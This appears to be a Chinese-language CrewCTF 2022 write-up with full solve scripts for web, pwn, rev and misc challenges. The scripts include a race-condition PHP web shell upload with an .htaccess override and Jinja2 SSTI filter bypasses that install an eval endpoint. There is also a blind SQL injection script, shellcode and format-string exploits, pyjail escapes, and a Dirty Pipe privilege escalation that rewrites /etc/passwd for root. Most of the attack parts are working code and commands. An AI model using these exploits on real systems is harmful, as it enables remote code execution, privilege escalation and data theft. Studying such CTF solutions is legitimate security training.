function move_upload($source,$des){
$name = gen_uuid();
$des = "storage/app/uploads/".$name.$des;
copy($source,$des);
sleep(1);// for loadblance and anti brute
unlink($source);
return $des;
}
if (isset($_FILES['uploadedFile']))
{
// get details of the uploaded file
$fileTmpPath = $_FILES['uploadedFile']['tmp_name'];
$fileName = basename($_FILES['uploadedFile']['name']);
$fileNameCmps = explode(".", $fileName);
$fileExtension = strtolower(end($fileNameCmps));




$dest_path = $uploadFileDir . $newFileName;
$file_temp = create_temp_file($fileTmpPath, $fileName);
echo "your file in ".move_upload($file_temp,$fileName);

}
if(isset($_GET["clear_cache"])){
system("rm -r storage/app/uploads/*");
}
?>
<form action="/" method="post" enctype="multipart/form-data">
Select image to upload: <input type="file" name="uploadedFile" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit"> </form>

這題基本上是個 php 的檔案上傳服務,另外他還有個 .htaccess 禁止了 storage/app/tempstorage/app/uploads 底下的檔案被視為 php 執行。

它的上傳流程是按照原檔名把檔案複製到 storage/app/temp 底下,然後在檔名前面加上些隨機字元後再複製到 storage/app/uploads,之後 sleep 1 秒鐘後從 storage/app/temp 中刪除檔案。如果直接上傳 .php 的話會被題目原本的 .htaccess 擋住,沒辦法拿到 web shell。

要注意到他是按照原檔名將檔案放置在 storage/app/temp 底下的,所以上傳 .htaccess 也會成功,因此只要在它那個 sleep(1) 結束前同時上傳 .htaccess 和自己的另一個 webshell (e.g. peko.p) 就能 RCE。

所以就寫個 multithreaded 的 race 腳本去和它爆破就能拿 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from threading import Thread

base_url = "https://uploadz-web.crewctf-2022.crewc.tf/"


def brute():
while True:
r = requests.get(f"{base_url}/storage/app/temp/peko.p")
print(r.text)


def upload():
while True:
requests.post(
f"{base_url}/",
files={"uploadedFile": ("peko.p", b'<?php system("cat /flag.txt"); ?>')},
)


def upload2():
while True:
requests.post(
f"{base_url}/",
files={
"uploadedFile": (".htaccess", b"AddType application/x-httpd-php .p")
},
)


Thread(target=brute).start()
Thread(target=brute).start()
Thread(target=brute).start()
Thread(target=upload).start()
Thread(target=upload2).start()
# crewctf{upload_rce_via_race}

EzChall

這題首先要繞過一個登入函數:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/login', methods=['GET','POST'])
def login():
if 'user' in session:
return redirect(url_for('dashboard'))
else:
if request.method == "POST":
user, passwd = '', ''
user = request.form['user']
passwd = request.form['passwd']
if user == 'admin' and bdecode(passwd) == 'pass is admin ??' and len(passwd) == 24 and passwd != 'cGFzcyBpcyBhZG1pbiA/Pw==':
session['user'] = user
return redirect(url_for('dashboard'))
return render_template('login.html', msg='Incorrect !')
return render_template('login.html')

其中的 bdecode 是 base64 decode,不過回傳的是 str 而非 bytes。目標就是要找到除了 cGFzcyBpcyBhZG1pbiA/Pw== 以外的另一個 base64 可以 decode 出 pass is admin ??。因為 base64 的 decode 原理我們知道可以有多個不同的 base64 decode 成同個結果,一個最簡單的就把 Pw== 改成 Pz== 即可。

登入之後有個 blind jinja2 ssti:

1
2
3
4
5
6
7
8
9
10
11
@app.route('/dashboard',methods=['GET'])
def dashboard():
if 'user' not in session:
return redirect(url_for('login'))
else:
if request.args.get('payload') is not None:
payload = request.args.get('payload')
if check_filter(payload):
render_template_string(payload)
return 'I believe you can overcome this difficulty ><'
return 'miss params'

其中的 check_filter 是來自 filter.py 的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import string

UNALLOWED = [
'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','=','~']


def check_filter(input):
input = input.lower()
if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1:
return False
if len(input) < 115:
for char in input:
if char in string.digits:
return False
for i in UNALLOWED:
if i in input:
return False
return True
return False

因為 {{` 和 `}} 都被擋了,只好用 {% if xxx %}{% endif %} 的形式去代替。另外還有些基本的 flask 物件像是 requestapp 都被擋了,不過可以看看 jinja2 的那個 context 底下還有哪些物件:

1
2
3
4
5
6
7
8
import jinja2

@jinja2.contextfunction
def gc(c):
return c
# ...
render_template_string('{{gc().parent().keys()}}')
# dict_keys(['range', 'dict', 'lipsum', 'cycler', 'joiner', 'namespace', 'url_for', 'get_flashed_messages', 'config', 'request', 'session', 'g', 'gc'])

所以像是 g.pop.__globals__.__builtins__ 就能有 builtins,不過要繞 filter 的話就要把它變成 g["pop"]["__glob" "als__"]["__buil" "tins__"]。可以這樣做是因為 jinja2 本來就允許使用 bracket 去存取 property,而字串的部分是 Python 從 C 繼承來的一個 implicit string concatenation 的功能。

有 globals 之後我做的第一件是是 __import__('filter').UNALLOWED.clear(),這樣就能更簡單的繞過大部分的 filter。

下個目標是要回顯,不過很容易發現 remote server 似乎沒有對外網路,所以不能打 reverse shell 回來。我用的做法是直接 from __main__ import app,然後在上面用 app.add_url_rule 加個 route 可以直接 eval input。剩下就能簡單的讀 flag 出來了。

1
2
3
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Ylpo8A.poKGs_Bvh1Fg4ZWiCqhqv2XFAm8' 'http://ezchall.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={% if g["pop"]["__glob" "als__"]["__buil" "tins__"]["__imp" "ort__"]("filter").UNALLOWED["clear"]() %}{%endif%}'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Ylpo8A.poKGs_Bvh1Fg4ZWiCqhqv2XFAm8' 'http://ezchall.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={{ g["pop"]["__globals__"]["__builtins__"]["exec"](request["args"].get("code")) }}' --data-urlencode $'code=from __main__ import app;\ndef pekomiko35():\n\tfrom flask import request\n\ttry:\t\treturn repr(eval(request.args.get("code")))\n\texcept Exception as ex:\n\t\treturn repr(ex)\n\napp.add_url_rule("/pekomiko35", view_func=pekomiko35)'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.Ylpo8A.poKGs_Bvh1Fg4ZWiCqhqv2XFAm8' 'http://ezchall.crewctf-2022.crewc.tf:1337/pekomiko35' -G --data-urlencode 'code=open("/flag").read()'

官方的 solution 是用 session 來把 flag 傳出來:

1
{% set x=session.update({"a":cycler["__in" "it__"]["__glo" "bals__"]["os"]["popen"]("rev /flag")["re" "ad"]()})%}

不過這其實過不了,因為 filter 中有 = 字元,而作者說他原本想 block 的是 == 字元

EzChall Again

和前一題幾乎一樣,只是 filter.py 多擋了些東西:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import string

UNALLOWED = [
'class', 'mro', 'init', 'builtins', 'request', 'app','sleep', 'add', '+', 'config', 'subclasses', 'format', 'dict', 'get', 'attr', 'globals', 'time', 'read', 'import', 'sys', 'cookies', 'headers', 'doc', 'url', 'encode', 'decode', 'chr', 'ord', 'replace', 'echo', 'base', 'self', 'template', 'print', 'exec', 'response', 'join', 'cat','if', 'end', 'for', 'sum', '%s', '{}', '\\', '*', '&',"{{", "}}", '[]',"''",'""','|','==','~']


def check_filter(input):
input = input.lower()
if input.count('.') > 1 or input.count(':') > 1 or input.count('/') > 1 or input.count('%') > 2:
return False, 'count'
if len(input) < 115:
for char in input:
if char in string.digits:
return False, f'digit: {char}'
for i in UNALLOWED:
if i in input:
return False, i
return True, ''
return False, 'len'

這讓我 {% if xxx %}{% endif %} 的 payload 直接失敗。不過直接查官方文件就能發現還有很多能用,例如我用的是 {% include xxx %},修改一下前面的 payload 之後我的解法一樣能用。

1
2
3
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YlsApg.DcdZywnJAq6IqOTnOoBIwC3Dj0w' 'http://ezchall-again.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={%include g["pop"]["__glob" "als__"]["__buil" "tins__"]["__imp" "ort__"]("filter").UNALLOWED["clear"]()%}'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YlsApg.DcdZywnJAq6IqOTnOoBIwC3Dj0w' 'http://ezchall-again.crewctf-2022.crewc.tf:1337/dashboard' -G --data-urlencode 'payload={{ g["pop"]["__globals__"]["__builtins__"]["exec"](request["args"].get("code")) }}' --data-urlencode $'code=from __main__ import app;\ndef pekomiko35():\n\tfrom flask import request\n\ttry:\t\treturn repr(eval(request.args.get("code")))\n\texcept Exception as ex:\n\t\treturn repr(ex)\n\napp.add_url_rule("/pekomiko35", view_func=pekomiko35)'
curl -H 'Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.YlsApg.DcdZywnJAq6IqOTnOoBIwC3Dj0w' 'http://ezchall-again.crewctf-2022.crewc.tf:1337/pekomiko35' -G --data-urlencode 'code=open("/flag").read()'

Robabikia

這題是個 sourceless 的 telegram bot,其中有個指令是 /desc,發現說 /desc ' 有錯誤。繼續測試下去可以確定它是 sql injection,只是似乎會把空白字元給 replace,所以要使用 /*a*/ 繞 (telegram 會把 ** 當作 markdown)。

剩下隨便測試可以發現目標的 table 名稱是 items,有四個 column id, desciprtion, value, price,其中 flag 藏在某個 row 的 value 中。而它的回顯也能測試出它有白名單在,所以沒辦法用 union select 拿 flag,只能打 blind sqli。

要打 blind sqli 的話需要有辦法使用程式去做查詢,查一查就找到了這個方法。總之就實作一下它的方法就能在 python 中使用自己的帳號對 bot 發送和接收訊息,然後剩下就一個一個字元二分搜即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from telegram.client import Telegram  # pip install python-telegram
from pprint import pp
import asyncio

# https://my.telegram.org/apps
tg = Telegram(
api_id="XX",
api_hash="XX",
phone="XX",
database_encryption_key="XX",
)
tg.login()
result = tg.get_chats()
result.wait()
# if result.error:
# print(f"get chats error: {result.error_info}")
# else:
# print(f"chats:")
# pp(result.update)


bot_id = 5317979329


class SendMessageException(Exception):
def __init__(self, error_info):
self.error_info = error_info


msg_handlers = []


def send_msg(msg):
fut = asyncio.Future()
result = tg.send_message(
chat_id=bot_id,
text=msg,
)
result.wait()
if result.error:
fut.set_exception(SendMessageException(result.error_info))
else:

def handler(msg):
# https://stackoverflow.com/questions/53090005/futures-set-result-from-a-different-thread
fut.get_loop().call_soon_threadsafe(fut.set_result, msg)

# # pp(result.update)
msg_handlers.append(handler)
return fut


def new_message_handler(update):
if update["message"]["is_outgoing"]:
return
message_content = update["message"]["content"]
chat_id = update["message"]["chat_id"]

if chat_id == bot_id and message_content["@type"] == "messageText":
text = message_content.get("text", {}).get("text", "")
print(f"Received {text} from {chat_id}")
# pp(update)
if len(msg_handlers) > 0:
msg_handlers.pop(0)(text)


tg.add_message_handler(new_message_handler)


async def search_char(idx):
l = 20
r = 127
while r - l > 1:
print(idx, l, r)
m = (l + r) // 2
cmd = f"/desc xxj'/*a*/AND/*a*/1=0/*a*/union/*a*/select/*a*/description/*a*/FROM/*a*/items/*a*/where/*a*/value/*a*/LIKE/*a*/'crew%'/*a*/AND/*a*/unicode(substr(value,{idx},{idx}))<{m} --"
resp = await send_msg(cmd)
if "flag" in resp:
r = m
else:
l = m
return chr(l)


async def test():
print("Receiving old messages...")
await asyncio.sleep(5)
flag = "crew{U53_fa57_WAY_1n_5QL_1nj3C710N_1N_t3l3_B0t}"
while not flag.endswith("}"):
flag += await search_char(len(flag) + 1)
print(flag)


loop = asyncio.get_event_loop()

try:
asyncio.run(test())
finally:
tg.stop()

pwn

Wiznu

ret2shellcode 和 orw 而已:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.arch = "amd64"

sc = asm(
shellcraft.pushstr(b"flag")
+ """
mov rax, rsp
xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov al, 20
mov rdx, rax
mov al, SYS_write
syscall

xor rax, rax
mov rdi, rsp
xor rsi, rsi
mov al, SYS_open
syscall

mov rdi, rax
mov rsi, rsp
mov dl, 0xff
xor rax, rax # SYS_read == 0
syscall

xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov dl, 0xff
mov al, SYS_write
syscall
"""
)
# io = process('./chall')
io = remote("wiznu.crewctf-2022.crewc.tf", 1337)
io.recvuntil(b"Special Gift for Special Person : ")
addr = int(io.recvlineS(), 16)
io.send(sc.ljust(264) + p64(addr))
io.interactive()
# crew{ORW_come_to_the_rescue_st4rn_h3r3!}

Ubume

一個很單純的 format string exploit,只要把 exit@got 寫入成 win 函數即可:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"

elf = ELF("./chall")
# io = process('./chall')
io = remote("ubume.crewctf-2022.crewc.tf", 1337)

pl = fmtstr_payload(6, {elf.got["exit"]: elf.sym["win"]})
io.sendline(pl)
io.interactive()
# crew{format_string_aattack_f0r_0verr1ding_GOT_!!!}

Takumi

這題是個讓你去 pwn Python 的 C extension 的題目,基本上是 heap 類型的。不過他的題目設計有很嚴重的失誤,可以直接 pyjail escape 拿 shell...。

它檢查輸入的 python code 是使用以下函數去檢查的:

1
2
3
4
5
6
7
def is_bad_str(code):
code = code.lower()
# I don't like these words :)
for s in ['__', 'module', 'class', 'code', 'base', 'globals', 'exec', 'eval', 'os', 'import', 'mro', 'attr', 'sys']:
if s in code:
return True
return False

然後把它塞到下面的 placeholder (/** code **/) 的地方後執行腳本:

1
2
3
4
5
6
7
8
9
10
11
from _note import *

from sys import modules
del modules['os']
keys = list(__builtins__.__dict__.keys())
for k in keys:
# present for you
if k not in ['int', 'id', 'print', 'range', 'hex', 'bytearray', 'bytes']:
del __builtins__.__dict__[k]

/** code **/

繞法也很簡單,就一行:

1
modules['po''six'].system('sh')

送 payload 的腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

def is_bad_str(code):
code = code.lower()
# I don't like these words :)
for s in ['__', 'module', 'class', 'code', 'base', 'globals', 'exec', 'eval', 'os', 'import', 'mro', 'attr', 'sys']:
if s in code:
print(s)
return True
return False

code = '''
modules['po''six'].system('sh')
EOF
'''
print(is_bad_str(code))

io = remote('takumi.crewctf-2022.crewc.tf', 1337)
# io = remote('localhost', 17012)
io.send(code.encode())
io.interactive()
# crew{TAKUMI_KILLING_SPREEE_HUAHUAHUAHUAHUA_LINZ_IS_HERE}

另外這題還有個有趣的繞法是在前面多 indent 一次,這樣你的 code 就會跑進 loop 中,在它還沒把 builtins 清除完成前就執行。

qKarachter

這題是要 pwn 一個作者自己寫的 kernel module 拿 root 的題目,不過一樣有嚴重的設計失誤導致你一樣不用 pwn 就能解掉。

第一個是它的 kernel 版本是 5.8.1,測試一下發現能使用之前的 Dirty Pipe 漏洞直接拿 root。我就是用這個方法拿 flag 的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from base64 import b64encode
from tqdm import tqdm


with open("./rootfs/exp", "rb") as f:
# https://dirtypipe.cm4all.com/
# musl-gcc exp.c -static -o exp -O2
data = f.read()

# io = process(['qemu-system-x86_64','-m','64M','-kernel', './bzImage', '-initrd', './rootfs.cpio', '-append', 'console=ttyS0 oops=panic panic=1 kpti=1 kaslr quiet', '-cpu', 'kvm64,+smep,+smap', '-monitor', '/dev/null', '-nographic'], stdout=PIPE)
io = remote("qkarachter.crewctf-2022.crewc.tf", 1337)
chunk_size = 512
for i in tqdm(range(0, len(data), chunk_size)):
io.recvuntil(b" $ ")
b64 = b64encode(data[i : i + chunk_size]).decode()
io.sendline(f'(echo "{b64}" | base64 -d >> /home/user/exp) &'.encode())
context.log_level = "debug"
io.recvuntil(b" $ ")
io.sendline(b"chmod +x /home/user/exp")
io.recvuntil(b" $ ")
io.sendline(b"passwd_tmp=$(cat /etc/passwd|head)")
io.recvuntil(b" $ ")
io.sendline(b'/home/user/exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"')
io.recvuntil(b" $ ")
io.sendline(b"su root")
io.recvuntil(b" # ")
io.sendline(b"id")
io.recvuntil(b" # ")
io.sendline(b"cat /flag")
io.interactive()
# crew{k3rn3l_Q_ch4rach73r_d3v1c3_pwn1nG_1z_fuN!!!!}

另外它還有個更簡單的解法,這是我在 Discord 看到 ptr-yudai 發的做法:

1
2
3
4
5
6
7
8
9
10
/ $ id
uid=1000(user) gid=1000(user) groups=1000(user)
/ $ rm /bin/halt
/ $ echo "#!/bin/sh" > /bin/halt
/ $ echo "/bin/sh" >> /bin/halt
/ $ chmod +x /bin/halt
/ $ exit
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)

這是因為它權限沒有設好:

1
2
/ $ ls -l /bin/halt
-rwsrwxrwx 348 root root 973200 Mar 21 13:23 /bin/halt

/init 的最後幾行執行的指令如下:

1
2
3
4
5
6
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys

halt -d 1 -n -f

所以透過蓋掉 /bin/sh (或是 /bin/umount) 就能以 root 執行 shell。

rev

locker

這題的 reverse 部分是 artis24106 做的,我只有解它剩下比較 crypto 的部分。

這題的程式會讀取 imp0rt4nt_f1l3s 資料夾底下的檔案,按照字典序把檔案給加密起來。題目給的加密檔案只有兩個,rfc1087.txt.crewcryptsecret.txt.crewcrypt (按字典序)。

加密流程是把檔案每 1024 bytes 視為一個 block,然後使用了隨機的兩組 key 和 nonce 加密。加密一個 block 的函數大致如下:

1
2
3
4
5
6
7
8
9
10
def enc(key1, nonce1, key2, nonce2, plaintext, swap=False):
ret = []
for i in range(len(plaintext)):
cnt1, cnt2 = i % 1024, (i * 2) % 1024
if swap:
cnt1, cnt2 = cnt2, cnt1
out = chacha20_encrypt(key1, nonce1, plaintext[i : i + 1], cnt1)
out = chacha20_encrypt(key2, nonce2, out, cnt2)
ret.append(out[0])
return bytes(ret)

那個 swap 參數是每加密一個 block 的時候會變一次,也就是第一個 block swap=False,第二個 block swap=True 以此類推。而這個參數不會在 encrypt 不同檔案之間重置。

另外它每加密完一個檔案還會更新下一組 key, nonce:

1
2
3
4
5
6
7
8
9
10
11
def update(key, nonce):
tmp = []
for i in range(1024):
t = chacha20_encrypt(key, nonce, b"\x00", i)
tmp.append(t[0])
tmp = bytes(tmp)
return tmp
tmp = sha256(tmp[:512]).digest() + sha256(tmp[512:]).digest()

# (new_key, new_nonce)
return (tmp[0x00:0x20], tmp[0x20:0x2C])

可以知道它推得下一組 key 只需要使用 key stream 的前 1024 bytes 而已。

首先是 rfc1087.txt 的原文可以在 https://www.rfc-editor.org/rfc/rfc1087.txt 拿到,比較大小會發現加密的版本只比它大 24 bytes,這是因為它會在加密的檔案後面 append 兩次 nonce1。

總之可以將 plaintext 和 ciphertext xor,然後按照 1024 的 block size 去切分可以知道第 1, 3 和 2, 4 的 key stream 個別相同。

剩下就是拿 z3 將 key1 和 key2 的一共 2048 bytes 的 key stream 使用 symbolic variable 表示出來,而之後拿前面的 key stream 把它弄相等就能解出正確的 key stream。

實際上得到的 key stream 其實會有 256 種,所以需要小小的暴力找一下才能拿到正確的下一組 key 去解密 secret.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from chacha20 import chacha20_encrypt
# https://github.com/Alef-Burzmali/ChaCha20-py/blob/master/chacha20.py
from hashlib import sha256

with open("rfc1087.txt", "rb") as f:
plaintext = f.read()
with open("rfc1087.txt.crewcrypt", "rb") as f:
ciphertext = f.read()
with open("secret.txt.crewcrypt", "rb") as f:
secretct = f.read()


def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])


def xorlist(a, b):
return [x ^ y for x, y in zip(a, b)]


def to_blocks(data, sz):
return [data[i : i + sz] for i in range(0, len(data), sz)]


def gen_ks(key, nonce, sz):
return b"".join([chacha20_encrypt(key, nonce, b"\0", i) for i in range(sz)])


def derive_key(ks):
tmp = sha256(ks[:512]).digest() + sha256(ks[512:]).digest()
return (tmp[0x00:0x20], tmp[0x20:0x2C])


bs = 1024
pblocks = to_blocks(plaintext, bs)
cblocks = to_blocks(ciphertext, bs)
even_ks = xor(pblocks[0], cblocks[0])
odd_ks = xor(pblocks[1], cblocks[1])

from z3 import *

ks1_sym = [BitVec(f"ks1_{i}", 8) for i in range(1024)]
ks2_sym = [BitVec(f"ks2_{i}", 8) for i in range(1024)]
even_ks_sym = xorlist(ks1_sym, ks2_sym[::2] * 2)
odd_ks_sym = xorlist(ks1_sym[::2] * 2, ks2_sym)

sol = Solver()
for x, y in zip(even_ks_sym, even_ks):
sol.add(x == y)
for x, y in zip(odd_ks_sym, odd_ks):
sol.add(x == y)
while sol.check() == sat:
m = sol.model()
ks1 = bytes([m.eval(s).as_long() for s in ks1_sym])
ks2 = bytes([m.eval(s).as_long() for s in ks2_sym])
key1, nonce1 = derive_key(ks1)
key2, nonce2 = derive_key(ks2)
kks1 = gen_ks(key1, nonce1, len(secretct) * 2)
kks2 = gen_ks(key2, nonce2, len(secretct) * 2)
secret = xor(xor(kks1[::2] * 2, kks2), secretct)
print(secret)
sol.add(ks1_sym[0] != ks1[0])

# crew{pls_b3_r3sp0ns1bl3_0n_th3_int3rn3t_m4ny_thx}

misc

Kinda Arbitrary Code Execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3.10
import marshal
import types
import os
import base64

# Want to make sure to be on linux
system = os.name

raw = b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00\xf3\x18\x00\x00\x00t\x00d\x01k\x03s\x06J\x00\x82\x01t\x01d\x02\x83\x01\x01\x00d\x00S\x00\xa9\x03N\xda\x02nt\xfa@You are very restricted; sh && other stuff would be nice to have)\x03\xda\x06system\xda\x05print\xda\n__import__\xa9\x00r\x08\x00\x00\x00r\x08\x00\x00\x00\xfa\x08chall.py\xda\x01g\x0c\x00\x00\x00\xf3\x04\x00\x00\x00\x0c\x01\x0c\x01'
f = types.FunctionType(marshal.loads(raw), globals(), 'f')

code = base64.b64decode(input())
if code:
f.__code__ = f.__code__.replace(co_code=code)
print(f())

這題是個 python bytecode 的 pyjail,有個現有的 function 然後允許你替換掉 bytecode 的部分後執行。

觀察一下它的 code object 會知道:

1
2
co_names: ('system', 'print', '__import__')
co_consts: (None, 'nt', 'You are very restricted; sh && other stuff would be nice to have')

而 global 的 system 的值是 'posix',所以用 bytecode load __import__ 進來然後 import posix 再呼叫 system 到那個 string 上就能拿 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3.10
import marshal
import types
import os
import base64
import dis
from dis import opmap

# Want to make sure to be on linux
system = os.name

raw = b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00\xf3\x18\x00\x00\x00t\x00d\x01k\x03s\x06J\x00\x82\x01t\x01d\x02\x83\x01\x01\x00d\x00S\x00\xa9\x03N\xda\x02nt\xfa@You are very restricted; sh && other stuff would be nice to have)\x03\xda\x06system\xda\x05print\xda\n__import__\xa9\x00r\x08\x00\x00\x00r\x08\x00\x00\x00\xfa\x08chall.py\xda\x01g\x0c\x00\x00\x00\xf3\x04\x00\x00\x00\x0c\x01\x0c\x01'
f = types.FunctionType(marshal.loads(raw), globals(), 'f')

# code = base64.b64decode(input())
# if code:
# f.__code__ = f.__code__.replace(co_code=code)
# print(f())
print(f.__code__.co_names)
print(f.__code__.co_consts)
dis.dis(f)
bc = bytes(
[
opmap['LOAD_GLOBAL'], 2,
opmap['LOAD_GLOBAL'], 0,
opmap['CALL_FUNCTION'], 1,
opmap['LOAD_ATTR'], 0,
opmap['LOAD_CONST'], 2,
opmap['CALL_FUNCTION'], 1,
opmap['RETURN_VALUE'],0
]
)
print(base64.b64encode(bc))
f.__code__ = f.__code__.replace(co_code=bc)
print(f())

Even Less Arbitrary Code Execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3.10
import base64
import types

names = base64.b64decode(input('Enter names: '), validate=False)
code = base64.b64decode(input('Enter code: '), validate=False)

def f():
pass

f.__code__ = f.__code__.replace(
co_names=(*types.FunctionType(f.__code__.replace(co_code=names),{})(),),
co_code=code
)
print(f())

這題是前一題的進階版,需要輸入兩個函數的 bytecode,第一個函數要回傳一個 tuple 或 list,代表第二個函數的 co_names。所以只要讓第一個函數回傳適當的字串的話第二個函數就很容易拿 shell 了。

不過這題的困難點在於怎麼在沒有 co_consts 的情況下生成字串,這部分我有在之前 0CTF - pypypypy 寫過相關的 code,所以複製過來用即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/python3.10
import base64
import types
from dis import opmap
import dis

# names = base64.b64decode(input('Enter names: '), validate=False)
# code = base64.b64decode(input('Enter code: '), validate=False)

def gen_c():
return bytes(
[
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_TUPLE"],
0,
opmap["BUILD_SLICE"],
2,
opmap["FORMAT_VALUE"],
0,
# ['slice((), (), None)']
opmap["BUILD_TUPLE"],
0,
opmap["UNARY_NOT"],
0,
opmap["DUP_TOP"],
0,
opmap["DUP_TOP"],
0,
opmap["BINARY_ADD"],
0,
opmap["BINARY_ADD"],
0,
# ['slice((), (), None)', 3]
opmap["BINARY_SUBSCR"],
0,
# ['c']
]
)

def gen_num_op(n):
# push number n into stack
one = bytes([opmap["BUILD_TUPLE"], 0, opmap["UNARY_NOT"], 0])
if n == 1:
return one
half = gen_num_op(n // 2)
ret = half + bytes([opmap["DUP_TOP"], 0, opmap["BINARY_ADD"], 0])
if n % 2 == 1:
ret += one + bytes([opmap["BINARY_ADD"], 0])
return ret


def gen_str(s):
# assuming stack top is 'c'
assert len(s) > 0
if len(s) == 1:
return bytes(
[
*gen_num_op(ord(s[0])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
]
)
return bytes(
[
opmap["DUP_TOP"],
0,
*gen_str(s[:-1]),
# ['c', s[:-1]]
opmap["ROT_TWO"],
0,
*gen_num_op(ord(s[-1])),
opmap["ROT_TWO"],
0,
opmap["FORMAT_VALUE"],
4,
# [s[:-1], s[-1]]
opmap["BUILD_STRING"],
2,
]
)

def gen_str_wrap(s):
return gen_c() + gen_str(s)

def f():
pass

names = bytes([
*gen_str_wrap('exec'),
*gen_str_wrap('input'),
opmap['BUILD_TUPLE'], 2,
opmap['RETURN_VALUE'], 0
])
# dis.dis(namef)
print(*types.FunctionType(f.__code__.replace(co_code=names),{})())

code = bytes([
opmap['LOAD_GLOBAL'], 0,
opmap['LOAD_GLOBAL'], 1,
opmap['CALL_FUNCTION'], 0,
opmap['CALL_FUNCTION'], 1,
opmap['RETURN_VALUE'], 0
])

print(base64.b64encode(names))
print(base64.b64encode(code))

f.__code__ = f.__code__.replace(
co_names=(*types.FunctionType(f.__code__.replace(co_code=names),{})(),),
co_code=code
)
print(f())

另外這個是作者(Blupper)的官方解,概念上一樣不過寫的比我的腳本要簡單和清晰:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from base64 import b64encode
import dis

def BUILD_ZERO():
return [
('LOAD_CONST', 0), # None
'UNARY_NOT',
'UNARY_NOT', # False
'DUP_TOP',
'BINARY_MULTIPLY' # False * False = 0
]

def BUILD_NUMBER(n):
if n == 0:
return BUILD_ZERO()

ins = [
('LOAD_CONST', 0), # None
'UNARY_NOT', # True
'DUP_TOP',
'BINARY_MULTIPLY', # True * True = 1
]

diff = n - 1
ins += ['DUP_TOP'] * diff
ins += ['BINARY_ADD'] * diff

return ins

def BUILD_LETTER(ch):
return [
*BUILD_NUMBER(ord(ch)),

*BUILD_NUMBER(1),
*BUILD_NUMBER(1),
('BUILD_SLICE', 2),
'FORMAT_VALUE', # 'slice(1, 1, None)'
*BUILD_NUMBER(3),
'BINARY_SUBSCR', # 'c'

('FORMAT_VALUE', 4) # format(n, 'c') is the same as chr(n)
]

def BUILD_STRING(s):
ins = []
for ch in s:
ins += BUILD_LETTER(ch)
ins += [('BUILD_STRING', len(s))]
